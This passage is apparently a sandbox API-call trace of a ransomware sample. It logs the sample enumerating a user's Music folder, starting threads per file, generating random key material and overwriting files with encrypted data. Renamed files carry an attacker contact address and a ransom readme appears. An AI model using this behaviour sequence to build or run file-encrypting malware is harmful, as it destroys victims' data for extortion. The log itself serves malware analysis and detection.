returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0170.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0170.927] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb977d70, ftCreationTime.dwHighDateTime=0x1d4cace, ftLastAccessTime.dwLowDateTime=0x9359a5d0, ftLastAccessTime.dwHighDateTime=0x1d4ca74, ftLastWriteTime.dwLowDateTime=0x848b3132, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x164b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CIOHVE~1.D0E")) returned 1 [0170.927] wcscmp (_String1="ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.927] wcscmp (_String1="ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f91870 [0170.928] wcscpy (in: _Dest=0x2f91870, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.928] wcscat (in: _Dest=0x2f91870, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.928] wcscat (in: _Dest=0x2f91870, _Source="ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" [0170.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0170.928] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848d91fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x848d91fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x848d91fe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.928] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.928] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.928] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0989c0, ftCreationTime.dwHighDateTime=0x1d4d3b0, ftLastAccessTime.dwLowDateTime=0xd67f28b0, ftLastAccessTime.dwHighDateTime=0x1d4c6f2, ftLastWriteTime.dwLowDateTime=0x848ff63e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1261b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FDT4_B~1.D0E")) returned 1 [0170.928] wcscmp (_String1="FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.928] wcscmp (_String1="FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcf5f8 [0170.929] wcscpy (in: _Dest=0x2fcf5f8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.929] wcscat (in: _Dest=0x2fcf5f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.929] wcscat (in: _Dest=0x2fcf5f8, _Source="FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" [0170.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0170.929] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca66c50, ftCreationTime.dwHighDateTime=0x1d4ca47, ftLastAccessTime.dwLowDateTime=0x4c8c4660, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x849257ca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc282, dwReserved0=0x0, dwReserved1=0x0, cFileName="L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="L4MVU2~1.D0E")) returned 1 [0170.929] wcscmp (_String1="L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.929] wcscmp (_String1="L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fa2c78 [0170.929] wcscpy (in: _Dest=0x2fa2c78, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.930] wcscat (in: _Dest=0x2fa2c78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.930] wcscat (in: _Dest=0x2fa2c78, _Source="L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" [0170.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0170.930] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe61d20, ftCreationTime.dwHighDateTime=0x1d4c953, ftLastAccessTime.dwLowDateTime=0xad444330, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0x84a569ee, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OIMDYV~1.D0E")) returned 1 [0170.930] wcscmp (_String1="oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.930] wcscmp (_String1="oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f92000 [0170.930] wcscpy (in: _Dest=0x2f92000, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.931] wcscat (in: _Dest=0x2f92000, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.931] wcscat (in: _Dest=0x2f92000, _Source="oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" [0170.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0170.931] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9097ec0, ftCreationTime.dwHighDateTime=0x1d4c61c, ftLastAccessTime.dwLowDateTime=0x4b135280, ftLastAccessTime.dwHighDateTime=0x1d4d5c8, ftLastWriteTime.dwLowDateTime=0x84a7cd1d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7ad9, dwReserved0=0x0, dwReserved1=0x0, cFileName="p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="P06GAN~1.D0E")) returned 1 [0170.931] wcscmp (_String1="p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.931] wcscmp (_String1="p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.931] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x3057248 [0170.931] wcscpy (in: _Dest=0x3057248, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.931] wcscat (in: _Dest=0x3057248, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.931] wcscat (in: _Dest=0x3057248, _Source="p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" [0170.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3057248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0170.932] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x236bc1b0, ftCreationTime.dwHighDateTime=0x1d4ce5a, ftLastAccessTime.dwLowDateTime=0x4f3b8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d1dc, ftLastWriteTime.dwLowDateTime=0x84ac9364, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10af4, dwReserved0=0x0, dwReserved1=0x0, cFileName="rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RKMF1Y~1.D0E")) returned 1 [0170.932] wcscmp (_String1="rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.932] wcscmp (_String1="rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fede50 [0170.932] wcscpy (in: _Dest=0x2fede50, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.932] wcscat (in: _Dest=0x2fede50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.932] wcscat (in: _Dest=0x2fede50, _Source="rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" [0170.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fede50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0170.933] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4f61dc0, ftCreationTime.dwHighDateTime=0x1d4ccca, ftLastAccessTime.dwLowDateTime=0x86bce24f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86bce24f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rvjx7IJH7o9Lf", cAlternateFileName="RVJX7I~1")) returned 1 [0170.933] wcscmp (_String1="Rvjx7IJH7o9Lf", _String2=".") returned 1 [0170.933] wcscmp (_String1="Rvjx7IJH7o9Lf", _String2="..") returned 1 [0170.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4120 [0170.933] wcscpy (in: _Dest=0x2fa4120, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.933] wcscat (in: _Dest=0x2fa4120, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.933] wcscat (in: _Dest=0x2fa4120, _Source="Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0170.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa4120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0170.934] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7aaf90, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x20938a40, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0x84aef506, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZKJQFI~1.D0E")) returned 1 [0170.934] wcscmp (_String1="zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.934] wcscmp (_String1="zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.934] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x3056d40 [0170.934] wcscpy (in: _Dest=0x3056d40, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0170.934] wcscat (in: _Dest=0x3056d40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0170.934] wcscat (in: _Dest=0x3056d40, _Source="zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" [0170.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0170.935] FindNextFileW (in: hFindFile=0x3045aa8, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7aaf90, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x20938a40, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0x84aef506, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZKJQFI~1.D0E")) returned 0 [0170.935] FindClose (in: hFindFile=0x3045aa8 | out: hFindFile=0x3045aa8) returned 1 [0170.936] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30230c0) returned 1 [0170.936] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876f8) returned 1 [0170.936] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0170.936] RtlExitUserThread (Status=0x0) Thread: id = 1895 os_tid = 0x918 [0170.296] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.296] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0170.297] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x121ef9cc | out: lpFileSize=0x121ef9cc*=78398) returned 1 [0170.297] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x1323a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.297] ReadFile (in: hFile=0x530, lpBuffer=0x121ef9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x121ef9a0*, lpNumberOfBytesRead=0x121ef99c*=0x4, lpOverlapped=0x0) returned 1 [0170.298] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0170.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0170.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab618 [0170.298] NtQuerySystemTime (in: CurrentTime=0x121ef978 | out: CurrentTime=0x121ef978*=132121213276158077) returned 0x0 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xfae86632 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xf645ae12 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x3364ebf8 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xf130a441 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xdc46df91 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xc65e03ba [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x699d41a2 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xf0d2534f [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xe40b6cee [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x9290c3b8 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x613965a5 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xbabb4093 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x6311f7ec [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xb9e6e41 [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x325df43c [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x63aeea5a [0170.298] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x89a44af0 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xbd4a75f1 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x554d8875 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xae78ae9b [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xd02d01d7 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xa619852d [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xd1040944 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x590b2ad2 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x9f1a2e51 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xd953cfb6 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x10b821d6 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xed4e641a [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xc7422ff1 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x883dbda1 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0xadd668b1 [0170.299] RtlRandom (in: Seed=0x121ef984 | out: Seed=0x121ef984) returned 0x914b1265 [0170.309] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.311] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.311] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.311] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.311] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0170.311] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.311] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.311] ReadFile (in: hFile=0x530, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x121ef950, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x121ef950*=0x4096, lpOverlapped=0x0) returned 1 [0170.311] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.312] WriteFile (in: hFile=0x530, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x121ef950, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x121ef950*=0x4096, lpOverlapped=0x0) returned 1 [0170.313] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.313] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x1323e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.313] WriteFile (in: hFile=0x530, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x121ef988, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x121ef988*=0x20, lpOverlapped=0x0) returned 1 [0170.313] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.314] WriteFile (in: hFile=0x530, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x121ef99c*=0x8, lpOverlapped=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x530, lpBuffer=0x121ef9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x121ef9b4*, lpNumberOfBytesWritten=0x121ef99c*=0x4, lpOverlapped=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x530, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x121ef99c*=0x4, lpOverlapped=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x530, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x121ef99c*=0x6c, lpOverlapped=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x530, lpBuffer=0x2fab550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x121ef99c, lpOverlapped=0x0 | out: lpBuffer=0x2fab550*, 